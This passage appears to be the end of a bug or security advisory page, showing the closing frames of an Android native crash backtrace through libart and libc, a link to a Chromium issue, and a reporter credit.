01-15 13:31:06.831 13140 13140 F DEBUG : #31 pc 000000000031d5f0 /data/misc/apexdata/com.android.art/dalvik-cache/arm64/boot.oat (java.lang.Thread.run+64)
01-15 13:31:06.831 13140 13140 F DEBUG : #32 pc 00000000002cdd94 /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: be34fbe63ff357beb403f9cb39923ea7)
01-15 13:31:06.831 13140 13140 F DEBUG : #33 pc 000000000026e624 /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+220) (BuildId: be34fbe63ff357beb403f9cb39923ea7)
01-15 13:31:06.831 13140 13140 F DEBUG : #34 pc 00000000004c3f30 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+1184) (BuildId: be34fbe63ff357beb403f9cb39923ea7)
01-15 13:31:06.831 13140 13140 F DEBUG : #35 pc 00000000004c3a80 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: be34fbe63ff357beb403f9cb39923ea7)
01-15 13:31:06.831 13140 13140 F DEBUG : #36 pc 000000000008a314 /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*) (.__uniq.67847048707805468364044055584648682506)+180) (BuildId: 5e0a77ba8573ea8c77efcf596e9edd37)
01-15 13:31:06.831 13140 13140 F DEBUG : #37 pc 000000000007b1f4 /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+68) (BuildId: 5e0a77ba8573ea8c77efcf596e9edd37)
same as issues https://issues.chromium.org/issues/379551588
Reporter credit: Goodluck
References
On This Page